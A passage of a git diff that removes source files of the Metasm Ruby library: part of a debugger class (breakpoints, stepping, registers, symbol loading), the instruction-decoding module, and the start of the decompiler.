ign - continue - end - end - - def evt_endthread(info={}) - @state = :stopped - @info = 'end thread' - # mark the thread as to be deleted on next check_pre_run - @dead_thread = true - - callback_endthread[info] if callback_endthread - - ign = ignore_endthread - ign = ign[info] if ign.kind_of? Proc - if ign - continue - end - end - - def evt_newprocess(info={}) - @state = :stopped - @info = 'new process' - - callback_newprocess[info] if callback_newprocess - end - - def evt_endprocess(info={}) - @state = :stopped - @info = 'end process' - @dead_process = true - - callback_endprocess[info] if callback_endprocess - end - - def evt_loadlibrary(info={}) - @state = :stopped - @info = 'loadlibrary' - - callback_loadlibrary[info] if callback_loadlibrary - end - - # called when we did break due to a breakpoint whose condition is invalid - # resume execution as if we never stopped - # disable offending bp + singlestep if needed - def resume_badbreak(b=nil) - # ensure we didn't delete b - if b and b.hash_shared.find { |bb| bb.state == :active } - rm = @run_method - if rm == :singlestep - singlestep_bp(b) - else - ra = @run_args - singlestep_bp(b) { send rm, *ra } - end - else - send @run_method, *@run_args - end - end - - # singlesteps over an active breakpoint and run its block - # if the breakpoint provides an emulation stub, run that, otherwise - # disable the breakpoint, singlestep, and re-enable - def singlestep_bp(bp, &b) - if has_emul_instr(bp) - @state = :stopped - bp.emul_instr.call - b.call if b - else - bp.hash_shared.each { |bb| - disable_bp(bb, :temp_inactive) if bb.state == :active - } - # this *should* work with different bps stopping the current instr - prev_sscb = @singlestep_cb - singlestep { - bp.hash_shared.each { |bb| - enable_bp(bb) if bb.state == :temp_inactive - } - prev_sscb[] if prev_sscb - b.call if b - } - end - end - - # checks if @breakpoint_cause is valid, or was obsoleted by the user changing pc - def check_breakpoint_cause - if bp = @breakpoint_cause and - (bp.type == :bpx or (bp.type == :hwbp and bp.internal[:type] == :x)) and - pc != bp.address - bp = @breakpoint_cause = nil - end - bp - end - - # checks if the running target has stopped (nonblocking) - # returns false if no debug event happened - def check_target - do_check_target - end - - # waits until the running target stops (due to a breakpoint, fault, etc) - def wait_target - do_wait_target while @state == :running - end - - # resume execution of the target - # bypasses a software breakpoint on pc if needed - # thread breakpoints must be manually disabled before calling continue - def continue - if b = check_breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active } - singlestep_bp(b) { - next if not check_pre_run(:continue) - do_continue - } - else - return if not check_pre_run(:continue) - do_continue - end - end - alias run continue - - # continue ; wait_target - def continue_wait - continue - wait_target - end - - # resume execution of the target one instruction at a time - def singlestep(&b) - @singlestep_cb = b - bp = check_breakpoint_cause - return if not check_pre_run(:singlestep) - if bp and bp.hash_shared.find { |bb| bb.state == :active } and has_emul_instr(bp) - @state = :stopped - bp.emul_instr.call - invalidate - evt_singlestep(true) - else - do_singlestep - end - end - - # singlestep ; wait_target - def singlestep_wait(&b) - singlestep(&b) - wait_target - end - - # tests if the specified instructions should be stepover() using singlestep or - # by putting a breakpoint at next_addr - def need_stepover(di = di_at(pc)) - di and @cpu.dbg_need_stepover(self, di.address, di) - end - - # stepover: singlesteps, but do not enter in subfunctions - def stepover - di = di_at(pc) - if need_stepover(di) - bpx di.next_addr, true, Expression[:tid, :==, @tid] - continue - else - singlestep - end - end - - # stepover ; wait_target - def stepover_wait - stepover - wait_target - end - - # checks if an instruction should stop the stepout() (eg it is a return instruction) - def end_stepout(di = di_at(pc)) - di and @cpu.dbg_end_stepout(self, di.address, di) - end - - # stepover until finding the last instruction of the function - def stepout - # TODO thread-local bps - while not end_stepout - stepover - wait_target - end - do_singlestep - end - - def stepout_wait - stepout - wait_target - end - - # set a singleshot breakpoint, run the process, and wait - def go(target, cond=nil) - bpx(target, true, cond) - continue_wait - end - - # continue_wait until @state == :dead - def run_forever - continue_wait until @state == :dead - end - - # decode the Instruction at the address, use the @disassembler cache if available - def di_at(addr) - @disassembler.di_at(addr) || @disassembler.disassemble_instruction(addr) - end - - # list the general purpose register names available for the target - def register_list - @cpu.dbg_register_list - end - - # hash { register_name => register_size_in_bits } - def register_size - @cpu.dbg_register_size - end - - # retrieves the name of the register holding the program counter (address of the next instruction) - def register_pc - @cpu.dbg_register_pc - end - - # retrieve the name of the register holding the stack pointer - def register_sp - @cpu.dbg_register_sp - end - - # then name of the register holding the cpu flags - def register_flags - @cpu.dbg_register_flags - end - - # list of flags available in the flag register - def flag_list - @cpu.dbg_flag_list - end - - # retreive the value of the program counter register (eip) - def pc - get_reg_value(register_pc) - end - alias ip pc - - # change the value of pc - def pc=(v) - set_reg_value(register_pc, v) - end - alias ip= pc= - - # retrieve the value of the stack pointer register - def sp - get_reg_value(register_sp) - end - - # update the stack pointer - def sp=(v) - set_reg_value(register_sp, v) - end - - # retrieve the value of a flag (0/1) - def get_flag_value(f) - @cpu.dbg_get_flag(self, f) - end - - # retrieve the value of a flag (true/false) - def get_flag(f) - get_flag_value(f) != 0 - end - - # change the value of a flag - def set_flag_value(f, v) - (v && v != 0) ? set_flag(f) : unset_flag(f) - end - - # switch the value of a flag (true->false, false->true) - def toggle_flag(f) - set_flag_value(f, 1-get_flag_value(f)) - end - - # set the value of the flag to true - def set_flag(f) - @cpu.dbg_set_flag(self, f) - end - - # set the value of the flag to false - def unset_flag(f) - @cpu.dbg_unset_flag(self, f) - end - - # returns the name of the module containing addr or nil - def addr2module(addr) - @modulemap.keys.find { |k| @modulemap[k][0] <= addr and @modulemap[k][1] > addr } - end - - # returns a string describing addr in term of symbol (eg 'libc.so.6!printf+2f') - def addrname(addr) - (addr2module(addr) || '???') + '!' + - if s = @symbols[addr] ? addr : @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } - @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s))) - else '%08x' % addr - end - end - - # same as addrname, but scan preceding addresses if no symbol matches - def addrname!(addr) - (addr2module(addr) || '???') + '!' + - if s = @symbols[addr] ? addr : - @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } || - @symbols.keys.sort.find_all { |s_| s_ < addr and s_ + 0x10000 > addr }.max - @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s))) - else '%08x' % addr - end - end - - # loads the symbols from a mapped module - def loadsyms(addr, name='%08x'%addr.to_i) - if addr.kind_of? String - modules.each { |m| - if m.path =~ /#{addr}/i - addr = m.addr - name = File.basename m.path - break - end - } - return if not addr.kind_of? Integer - end - return if not peek = @memory.get_page(addr, 4) - if peek == "\x7fELF" - cls = LoadedELF - elsif peek[0, 2] == "MZ" and @memory[addr+@memory[addr+0x3c,4].unpack('V').first, 4] == "PE\0\0" - cls = LoadedPE - else return - end - - begin - e = cls.load @memory[addr, 0x1000_0000] - e.load_address = addr - e.decode_header - e.decode_exports - rescue - # cache the error so that we dont hit it every time - @modulemap[addr.to_s(16)] ||= [addr, addr+0x1000] - return - end - - if n = e.module_name and n != name - name = n - end - - @modulemap[name] ||= [addr, addr+e.module_size] - - cnt = 0 - e.module_symbols.each { |n_, a, l| - cnt += 1 - a += addr - @disassembler.set_label_at(a, n_, false) - @symbols[a] = n_ # XXX store "lib!sym" ? - if l and l > 1; @symbols_len[a] = l - else @symbols_len.delete a # we may overwrite an existing symbol, keep len in sync - end - } - log "loaded #{cnt} symbols from #{name}" - - true - end - - # scan the target memory for loaded libraries, load their symbols - def scansyms(addr=0, max=@memory.length-0x1000-addr) - while addr <= max - loadsyms(addr) - addr += 0x1000 - end - end - - # load symbols from all libraries found by the OS module - def loadallsyms(&b) - modules.each { |m| - b.call(m.addr) if b - loadsyms(m.addr, m.path) - } - end - - # see Disassembler#load_map - def load_map(str, off=0) - str = File.read(str) if File.exist?(str) - sks = @disassembler.sections.keys.sort - str.each_line { |l| - case l.strip - when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i # kernel.map style - a = $1.to_i(16) + off - n = $3 - when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i # IDA style - # see Disassembler for comments - a = sks[$1.to_i(16)] + $2.to_i(16) + off - n = $3 - else next - end - @disassembler.set_label_at(a, n, false) - @symbols[a] = n - } - - end - - # parses the expression contained in arg - def parse_expr(arg) - parse_expr!(arg.dup) - end - - # parses the expression contained in arg, updates arg to point after the expr - def parse_expr!(arg, &b) - return if not e = IndExpression.parse_string!(arg) { |s| - # handle 400000 -> 0x400000 - # XXX no way to override and force decimal interpretation.. - if s.length > 4 and not @disassembler.get_section_at(s.to_i) and @disassembler.get_section_at(s.to_i(16)) - s.to_i(16) - else - s.to_i - end - } - - # resolve ambiguous symbol names/hex values - bd = {} - e.externals.grep(::String).each { |ex| - if not v = register_list.find { |r| ex.downcase == r.to_s.downcase } || - (b && b.call(ex)) || symbols.index(ex) - lst = symbols.values.find_all { |s| s.downcase.include? ex.downcase } - case lst.length - when 0 - if ex =~ /^[0-9a-f]+$/i and @disassembler.get_section_at(ex.to_i(16)) - v = ex.to_i(16) - else - raise "unknown symbol name #{ex}" - end - when 1 - v = symbols.index(lst.first) - log "using #{lst.first} for #{ex}" - else - suggest = lst[0, 50].join(', ') - suggest = suggest[0, 125] + '...' if suggest.length > 128 - raise "ambiguous symbol name #{ex}: #{suggest} ?" - end - end - bd[ex] = v - } - e = e.bind(bd) - - e - end - - # resolves an expression involving register values and/or memory indirection using the current context - # uses #register_list, #get_reg_value, @mem, @cpu - # :tid/:pid resolve to current thread - def resolve_expr(e) - e = parse_expr(e) if e.kind_of? ::String - bd = { :tid => @tid, :pid => @pid } - Expression[e].externals.each { |ex| - next if bd[ex] - case ex - when ::Symbol; bd[ex] = get_reg_value(ex) - when ::String; bd[ex] = @symbols.index(ex) || @disassembler.prog_binding[ex] || 0 - end - } - Expression[e].bind(bd).reduce { |i| - if i.kind_of? Indirection and p = i.pointer.reduce and p.kind_of? ::Integer - i.len ||= @cpu.size/8 - p &= (1 << @cpu.size) - 1 if p < 0 - Expression.decode_imm(@memory, i.len, @cpu, p) - end - } - end - alias resolve resolve_expr - - # return/yield an array of [addr, addr symbolic name] corresponding to the current stack trace - def stacktrace(maxdepth=500, &b) - @cpu.dbg_stacktrace(self, maxdepth, &b) - end - - # accepts a range or begin/end address to read memory, or a register name - def [](arg0, arg1=nil) - if arg1 - arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer - arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer - @memory[arg0, arg1].to_str - elsif arg0.kind_of? ::Range - arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer # cannot happen, invalid ruby Range - arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer - @memory[arg0].to_str - else - get_reg_value(arg0) - end - end - - # accepts a range or begin/end address to write memory, or a register name - def []=(arg0, arg1, val=nil) - arg1, val = val, arg1 if not val - if arg1 - arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer - arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer - @memory[arg0, arg1] = val - elsif arg0.kind_of? ::Range - arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer # cannot happen, invalid ruby Range - arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer - @memory[arg0] = val - else - set_reg_value(arg0, val) - end - end - - - # read an int from the target memory, int of sz bytes (defaults to cpu.size) - def memory_read_int(addr, sz=@cpu.size/8) - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - Expression.decode_imm(@memory, sz, @cpu, addr) - end - - # write an int in the target memory - def memory_write_int(addr, val, sz=@cpu.size/8) - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - val = resolve_expr(val) if not val.kind_of? ::Integer - @memory[addr, sz] = Expression.encode_imm(val, sz, @cpu) - end - - # retrieve an argument (call at a function entrypoint) - def func_arg(nr) - @cpu.dbg_func_arg(self, nr) - end - def func_arg_set(nr, val) - @cpu.dbg_func_arg_set(self, nr, val) - end - - # retrieve a function returned value (call at func exitpoint) - def func_retval - @cpu.dbg_func_retval(self) - end - def func_retval_set(val) - @cpu.dbg_func_retval_set(self, val) - end - def func_retval=(val) - @cpu.dbg_func_retval_set(self, val) - end - - # retrieve a function return address (call at func entry/exit) - def func_retaddr - @cpu.dbg_func_retaddr(self) - end - def func_retaddr_set(addr) - @cpu.dbg_func_retaddr_set(self, addr) - end - def func_retaddr=(addr) - @cpu.dbg_func_retaddr_set(self, addr) - end - - def load_plugin(plugin_filename) - if not File.exist?(plugin_filename) and defined? Metasmdir - # try autocomplete - pf = File.join(Metasmdir, 'samples', 'dbg-plugins', plugin_filename) - if File.exist?(pf) - plugin_filename = pf - elsif File.exist?(pf + '.rb') - plugin_filename = pf + '.rb' - end - end - if (not File.exist?(plugin_filename) or File.directory?(plugin_filename)) and File.exist?(plugin_filename + '.rb') - plugin_filename += '.rb' - end - - instance_eval File.read(plugin_filename) - end - - # return the list of memory mappings of the current process - # array of [start, len, perms, infos] - def mappings - [[0, @memory.length]] - end - - # return a list of Process::Modules (with a #path, #addr) for the current process - def modules - [] - end - - # list debugged pids - def list_debug_pids - @pid_stuff.keys | [@pid].compact - end - - # return a list of OS::Process listing all alive processes (incl not debugged) - # default version only includes current debugged pids - def list_processes - list_debug_pids.map { |p| OS::Process.new(p) } - end - - # check if pid is valid - def check_pid(pid) - list_processes.find { |p| p.pid == pid } - end - - # list debugged tids - def list_debug_tids - @tid_stuff.keys | [@tid].compact - end - - # list of thread ids existing in the current process (incl not debugged) - # default version only lists debugged tids - alias list_threads list_debug_tids - - # check if tid is valid for the current process - def check_tid(tid) - list_threads.include?(tid) - end - - # see EData#pattern_scan - # scans only mapped areas of @memory, using os_process.mappings - def pattern_scan(pat, start=0, len=@memory.length-start, &b) - ret = [] - mappings.each { |maddr, mlen, perm, *o_| - next if perm !~ /r/i - mlen -= start-maddr if maddr < start - maddr = start if maddr < start - mlen = start+len-maddr if maddr+mlen > start+len - next if mlen <= 0 - EncodedData.new(read_mapped_range(maddr, mlen)).pattern_scan(pat) { |off| - off += maddr - ret << off if not b or b.call(off) - } - } - ret - end - - def read_mapped_range(addr, len) - # try to use a single get_page call - s = @memory.get_page(addr, len) || '' - s.length == len ? s : (s = @memory[addr, len] ? s.to_str : nil) - end -end -end diff --git a/lib/metasm/metasm/decode.rb b/lib/metasm/metasm/decode.rb deleted file mode 100644 index 7c0b1af609..0000000000 --- a/lib/metasm/metasm/decode.rb +++ /dev/null @@ -1,244 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/render' - - -module Metasm -# symbolic pointer dereference -# API similar to Expression -class Indirection < ExpressionType - # Expression (the pointer) - attr_accessor :target - alias pointer target - alias pointer= target= - # length in bytes of data referenced - attr_accessor :len - # address of the instruction who generated the indirection - attr_accessor :origin - - def initialize(target, len, origin) - @target, @len, @origin = target, len, origin - end - - def reduce_rec - ptr = Expression[@target.reduce] - (ptr == Expression::Unknown) ? ptr : Indirection.new(ptr, @len, @origin) - end - - def bind(h) - h[self] || Indirection.new(@target.bind(h), @len, @origin) - end - - def hash ; @target.hash^@len.to_i end - def eql?(o) o.class == self.class and [o.target, o.len] == [@target, @len] end - alias == eql? - - include Renderable - def render - ret = [] - qual = {1 => 'byte', 2 => 'word', 4 => 'dword', 8 => 'qword'}[len] || "_#{len*8}bits" if len - ret << "#{qual} ptr " if qual - ret << '[' << @target << ']' - end - - # returns the complexity of the expression (number of externals +1 per indirection) - def complexity - 1+@target.complexity - end - - def self.[](t, l, o=nil) - new(Expression[*t], l, o) - end - - def inspect - "Indirection[#{@target.inspect.sub(/^Expression/, '')}, #{@len.inspect}#{', '+@origin.inspect if @origin}]" - end - - def externals - @target.externals - end - - def match_rec(target, vars) - return false if not target.kind_of? Indirection - t = target.target - if vars[t] - return false if @target != vars[t] - elsif vars.has_key? t - vars[t] = @target - elsif t.kind_of? ExpressionType - return false if not @target.match_rec(t, vars) - else - return false if targ != @target - end - if vars[target.len] - return false if @len != vars[target.len] - elsif vars.has_key? target.len - vars[target.len] = @len - else - return false if target.len != @len - end - vars - end -end - -class Expression - # returns the complexity of the expression (number of externals +1 per indirection) - def complexity - case @lexpr - when ExpressionType; @lexpr.complexity - when nil, ::Numeric; 0 - else 1 - end + - case @rexpr - when ExpressionType; @rexpr.complexity - when nil, ::Numeric; 0 - else 1 - end - end - - def expr_indirections - ret = case @lexpr - when Indirection; [@lexpr] - when ExpressionType; @lexpr.expr_indirections - else [] - end - case @rexpr - when Indirection; ret << @rexpr - when ExpressionType; ret.concat @rexpr.expr_indirections - else ret - end - end -end - -class EncodedData - # returns an ::Integer from self.ptr, advances ptr - # bytes from rawsize to virtsize = 0 - # ignores self.relocations - def get_byte - @ptr += 1 - if @ptr <= @data.length - b = @data[ptr-1] - b = b.unpack('C').first if b.kind_of? ::String # 1.9 - b - elsif @ptr <= @virtsize - 0 - end - end - - # reads len bytes from self.data, advances ptr - # bytes from rawsize to virtsize are returned as zeroes - # ignores self.relocations - def read(len=@virtsize-@ptr) - vlen = len - vlen = @virtsize-@ptr if len > @virtsize-@ptr - str = (@ptr < @data.length) ? @data[@ptr, vlen] : '' - str = str.to_str.ljust(vlen, "\0") if str.length < vlen - @ptr += len - str - end - - # decodes an immediate value from self.ptr, advances ptr - # returns an Expression on relocation, or an ::Integer - # if ptr has a relocation but the type/endianness does not match, the reloc is ignored and a warning is issued - # TODO arg type => sign+len - def decode_imm(type, endianness) - raise "invalid imm type #{type.inspect}" if not isz = Expression::INT_SIZE[type] - if rel = @reloc[@ptr] - if Expression::INT_SIZE[rel.type] == isz and rel.endianness == endianness - @ptr += rel.length - return rel.target - end - puts "W: Immediate type/endianness mismatch, ignoring relocation #{rel.target.inspect} (wanted #{type.inspect})" if $DEBUG - end - Expression.decode_imm(read(isz/8), type, endianness) - end - alias decode_immediate decode_imm -end - -class Expression - # decodes an immediate from a raw binary string - # type may be a length in bytes, interpreted as unsigned, or an expression type (eg :u32) - # endianness is either an endianness or an object than responds to endianness - def self.decode_imm(str, type, endianness, off=0) - type = INT_SIZE.keys.find { |k| k.to_s[0] == ?a and INT_SIZE[k] == 8*type } if type.kind_of? ::Integer - endianness = endianness.endianness if not endianness.kind_of? ::Symbol - str = str[off, INT_SIZE[type]/8].to_s - str = str.reverse if endianness == :little - val = str.unpack('C*').inject(0) { |val_, b| (val_ << 8) | b } - val = make_signed(val, INT_SIZE[type]) if type.to_s[0] == ?i - val - end - class << self - alias decode_immediate decode_imm - end -end - -class CPU - # decodes the instruction at edata.ptr, mapped at virtual address off - # returns a DecodedInstruction or nil - def decode_instruction(edata, addr) - @bin_lookaside ||= build_bin_lookaside - di = decode_findopcode edata if edata.ptr <= edata.length - di.address = addr if di - di = decode_instr_op(edata, di) if di - decode_instr_interpret(di, addr) if di - end - - # matches the binary opcode at edata.ptr - # returns di or nil - def decode_findopcode(edata) - DecodedInstruction.new self - end - - # decodes di.instruction - # returns di or nil - def decode_instr_op(edata, di) - end - - # may modify di.instruction.args for eg jump offset => absolute address - # returns di or nil - def decode_instr_interpret(di, addr) - di - end - - # number of instructions following a jump that are still executed - def delay_slot(di=nil) - 0 - end - - def disassembler_default_func - DecodedFunction.new - end - - # return something like backtrace_binding in the forward direction - # set pc_reg to some reg name (eg :pc) to include effects on the instruction pointer - def get_fwdemu_binding(di, pc_reg=nil) - fdi = di.backtrace_binding ||= get_backtrace_binding(di) - fdi = fix_fwdemu_binding(di, fdi) - if pc_reg - if di.opcode.props[:setip] - xr = get_xrefs_x(nil, di) - if xr and xr.length == 1 - fdi[pc_reg] = xr[0] - else - fdi[:incomplete_binding] = Expression[1] - end - else - fdi[pc_reg] = Expression[pc_reg, :+, di.bin_length] - end - end - fdi - end - - # patch a forward binding from the backtrace binding - # useful only on specific instructions that update a register *and* dereference that register (eg push) - def fix_fwdemu_binding(di, fbd) - fbd - end -end -end diff --git a/lib/metasm/metasm/decompile.rb b/lib/metasm/metasm/decompile.rb deleted file mode 100644 index 6dc7bda9a3..0000000000 --- a/lib/metasm/metasm/decompile.rb +++ /dev/null @@ -1,2658 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/decode' -require 'metasm/parse_c' - -module Metasm -class C::Variable; attr_accessor :stackoff; end -class C::Block; attr_accessor :decompdata; end -class DecodedFunction; attr_accessor :decompdata; end - -class CPU - def decompile_check_abi(dcmp, entry, func) - end -end - -class Decompiler - # TODO add methods to C::CExpr - AssignOp = [:'=', :'+=', :'-=', :'*=', :'/=', :'%=', :'^=', :'&=', :'|=', :'>>=', :'<<=', :'++', :'--'] - - attr_accessor :dasm, :c_parser - attr_accessor :forbid_optimize_dataflow, :forbid_optimize_code, :forbid_decompile_ifwhile, :forbid_decompile_types, :forbid_optimize_labels - # recursive flag: for each subfunction, recurse is decremented, when 0 only the prototype is decompiled, when <0 nothing is done - attr_accessor :recurse - - def initialize(dasm, cp = dasm.c_parser) - @dasm = dasm - @recurse = 1/0.0 # Infinity - @c_parser = cp || @dasm.cpu.new_cparser - end - - # decompile recursively function from an entrypoint, then perform global optimisation (static vars, ...) - # should be called once after everything is decompiled (global optimizations may bring bad results otherwise) - # use decompile_func for incremental decompilation - # returns the c_parser - def decompile(*entry) - entry.each { |f| decompile_func(f) } - finalize - @c_parser - end - - # decompile a function, decompiling subfunctions as needed - # may return :restart, which means that the decompilation should restart from the entrypoint (and bubble up) (eg a new codepath is found which may changes dependency in blocks etc) - def decompile_func(entry) - return if @recurse < 0 - entry = @dasm.normalize entry - return if not @dasm.decoded[entry] - - # create a new toplevel function to hold our code - func = C::Variable.new - func.name = @dasm.auto_label_at(entry, 'func') - if f = @dasm.function[entry] and f.decompdata and f.decompdata[:return_type] - rettype = f.decompdata[:return_type] - else - rettype = C::BaseType.new(:int) - end - func.type = C::Function.new rettype, [] - if @c_parser.toplevel.symbol[func.name] - return if @recurse == 0 - if not @c_parser.toplevel.statements.grep(C::Declaration).find { |decl| decl.var.name == func.name } - # recursive dependency: declare prototype - puts "function #{func.name} is recursive: predecompiling for prototype" if $VERBOSE - pre_recurse = @recurse - @recurse = 0 - @c_parser.toplevel.symbol.delete func.name - decompile_func(entry) - @recurse = pre_recurse - if not @c_parser.toplevel.statements.grep(C::Declaration).find { |decl| decl.var.name == func.name } - @c_parser.toplevel.statements << C::Declaration.new(func) - end - end - return - end - @c_parser.toplevel.symbol[func.name] = func - puts "decompiling #{func.name}" if $VERBOSE - - while catch(:restart) { do_decompile_func(entry, func) } == :restart - retval = :restart - end - - @c_parser.toplevel.symbol[func.name] = func # recursive func prototype could have overwritten us - @c_parser.toplevel.statements << C::Declaration.new(func) - - puts " decompiled #{func.name}" if $VERBOSE - - retval - end - - # calls decompile_func with recurse -= 1 (internal use) - def decompile_func_rec(entry) - @recurse -= 1 - decompile_func(entry) - ensure - @recurse += 1 - end - - def do_decompile_func(entry, func) - # find decodedinstruction graph of the function, decompile subfuncs - myblocks = listblocks_func(entry) - - # [esp+8] => [:frameptr-12] - makestackvars entry, myblocks.map { |b, to| @dasm.decoded[b].block } - - # find registry dependencies between blocks - deps = @dasm.cpu.decompile_func_finddeps(self, myblocks, func) - - scope = func.initializer = C::Block.new(@c_parser.toplevel) - if df = @dasm.function[entry] - scope.decompdata = df.decompdata ||= {:stackoff_type => {}, :stackoff_name => {}} - else - scope.decompdata ||= {:stackoff_type => {}, :stackoff_name => {}} - end - - # di blocks => raw c statements, declare variables - @dasm.cpu.decompile_blocks(self, myblocks, deps, func) - - simplify_goto(scope) - namestackvars(scope) - unalias_vars(scope, func) - decompile_c_types(scope) - optimize(scope) - remove_unreferenced_vars(scope) - cleanup_var_decl(scope, func) - if @recurse > 0 - decompile_controlseq(scope) - optimize_vars(scope) - optimize_ctrl(scope) - optimize_vars(scope) - remove_unreferenced_vars(scope) - simplify_varname_noalias(scope) - rename_variables(scope) - end - @dasm.cpu.decompile_check_abi(self, entry, func) - - case ret = scope.statements.last - when C::CExpression; puts "no return at end of func" if $VERBOSE - when C::Return - if not ret.value - scope.statements.pop - else - v = ret.value - v = v.rexpr if v.kind_of? C::CExpression and not v.op and v.rexpr.kind_of? C::Typed - func.type.type = v.type - end - end - - if @recurse == 0 - # we need only the prototype - func.initializer = nil - end - end - - # redecompile a function, redecompiles functions calling it if its prototype changed - def redecompile(name) - @c_parser.toplevel.statements.delete_if { |st| st.kind_of? C::Declaration and st.var.name == name } - oldvar = @c_parser.toplevel.symbol.delete name - - decompile_func(name) - - if oldvar and newvar = @c_parser.toplevel.symbol[name] and oldvar.type.kind_of? C::Function and newvar.type.kind_of? C::Function - o, n = oldvar.type, newvar.type - if o.type != n.type or o.args.to_a.length != n.args.to_a.length or o.args.to_a.zip(n.args.to_a).find { |oa, na| oa.type != na.type } - # XXX a may depend on b and c, and b may depend on c -> redecompile c twice - # XXX if the dcmp is unstable, may also infinite loop on mutually recursive funcs.. - @c_parser.toplevel.statements.dup.each { |st| - next if not st.kind_of? C::Declaration - next if not st.var.initializer - next if st.var.name == name - next if not walk_ce(st) { |ce| break true if ce.op == :funcall and ce.lexpr.kind_of? C::Variable and ce.lexpr.name == name } - redecompile(st.var.name) - } - end - end - end - - def new_global_var(addr, type, scope=nil) - addr = @dasm.normalize(addr) - - # (almost) NULL ptr - return if addr.kind_of? Fixnum and addr >= 0 and addr < 32 - - # check preceding structure we're hitting - # TODO check what we step over when defining a new static struct - 0x100.times { |i_| - next if not n = @dasm.get_label_at(addr-i_) - next if not v = @c_parser.toplevel.symbol[n] - next if not v.type.pointer? or not v.type.pointed.untypedef.kind_of? C::Union - break if i_ == 0 # XXX it crashes later if we dont break here - next if sizeof(v.type.pointed) <= i_ - return structoffset(v.type.pointed.untypedef, C::CExpression[v], i_, nil) - } - - ptype = type.pointed.untypedef if type.pointer? - if ptype.kind_of? C::Function - name = @dasm.auto_label_at(addr, 'sub', 'xref', 'byte', 'word', 'dword', 'unk') - if @dasm.get_section_at(addr) and @recurse > 0 - puts "found function pointer to #{name}" if $VERBOSE - @dasm.disassemble(addr) if not @dasm.decoded[addr] # TODO disassemble_fast ? - f = @dasm.function[addr] ||= DecodedFunction.new - # TODO detect thunks (__noreturn) - f.decompdata ||= { :stackoff_type => {}, :stackoff_name => {} } - if not s = @c_parser.toplevel.symbol[name] or not s.initializer or not s.type.untypedef.kind_of? C::Function - os = @c_parser.toplevel.symbol.delete name - @c_parser.toplevel.statements.delete_if { |ts| ts.kind_of? C::Declaration and ts.var.name == name } - aoff = 1 - ptype.args.to_a.each { |a| - aoff = (aoff + @c_parser.typesize[:ptr] - 1) / @c_parser.typesize[:ptr] * @c_parser.typesize[:ptr] - f.decompdata[:stackoff_type][aoff] ||= a.type - f.decompdata[:stackoff_name][aoff] ||= a.name if a.name - aoff += sizeof(a) # ary ? - } - decompile_func_rec(addr) - s = @c_parser.toplevel.symbol[name] - walk_ce([@c_parser.toplevel, scope]) { |ce| - ce.lexpr = s if ce.lexpr == os - ce.rexpr = s if ce.rexpr == os - } if os and s # update existing references to old instance - # else redecompile with new prototye ? - end - end - end - - name = case (type.pointer? && tsz = sizeof(nil, ptype)) - when 1; 'byte' - when 2; 'word' - when 4; 'dword' - else 'unk' - end - name = 'stru' if ptype.kind_of? C::Union - name = @dasm.auto_label_at(addr, name, 'xref', 'byte', 'word', 'dword', 'unk', 'stru') - - if not var = @c_parser.toplevel.symbol[name] - var = C::Variable.new - var.name = name - var.type = type.pointer? ? C::Array.new(ptype) : type - @c_parser.toplevel.symbol[var.name] = var - @c_parser.toplevel.statements << C::Declaration.new(var) - end - if ptype.kind_of? C::Union and type.pointer? and s = @dasm.get_section_at(name) and s[0].ptr < s[0].length - # TODO struct init, array, fptrs.. - elsif type.pointer? and not type.pointed.untypedef.kind_of? C::Function and s = @dasm.get_section_at(name) and s[0].ptr < s[0].length and - [1, 2, 4].include? tsz and (not var.type.pointer? or sizeof(var.type.pointed) != sizeof(type.pointed) or not var.initializer) - # TODO do not overlap other statics (but labels may refer to elements of the array...) - data = (0..256).map { - v = s[0].decode_imm("u#{tsz*8}".to_sym, @dasm.cpu.endianness) - v = decompile_cexpr(v, @c_parser.toplevel) if v.kind_of? Expression # relocation - v - } - var.initializer = data.map { |v| C::CExpression[v, C::BaseType.new(:int)] } unless (data - [0]).empty? - if (tsz == 1 or tsz == 2) and eos = data.index(0) and (0..3).all? { |i| data[i] >= 0x20 and data[i] < 0x7f } # printable str - # XXX 0x80 with ruby1.9... - var.initializer = C::CExpression[data[0, eos].pack('C*'), C::Pointer.new(ptype)] rescue nil - end - if var.initializer.kind_of? ::Array and i = var.initializer.first and i.kind_of? C::CExpression and not i.op and i.rexpr.kind_of? C::Variable and - i.rexpr.type.kind_of? C::Function and not @dasm.get_section_at(@dasm.normalize(i.rexpr.name)) # iat_ExternalFunc - i.type = i.rexpr.type - type = var.type = C::Array.new(C::Pointer.new(i.type)) - var.initializer = [i] - end - var.initializer = nil if var.initializer.kind_of? ::Array and not type.untypedef.kind_of? C::Array - end - - # TODO patch existing references to addr ? (or would they have already triggered new_global_var?) - - # return the object to use to replace the raw addr - var - end - - # return an array of [address of block start, list of block to]] - # decompile subfunctions - def listblocks_func(entry) - @autofuncs ||= [] - blocks = [] - entry = dasm.normalize entry - todo = [entry] - while a = todo.pop - next if blocks.find { |aa, at| aa == a } - next if not di = @dasm.di_at(a) - blocks << [a, []] - di.block.each_to { |ta, type| - next if type == :indirect - ta = dasm.normalize ta - if type != :subfuncret and not @dasm.function[ta] and - (not @dasm.function[entry] or @autofuncs.include? entry) and - di.block.list.last.opcode.props[:saveip] - # possible noreturn function - # XXX call $+5; pop eax - @autofuncs << ta - @dasm.function[ta] = DecodedFunction.new - puts "autofunc #{Expression[ta]}" if 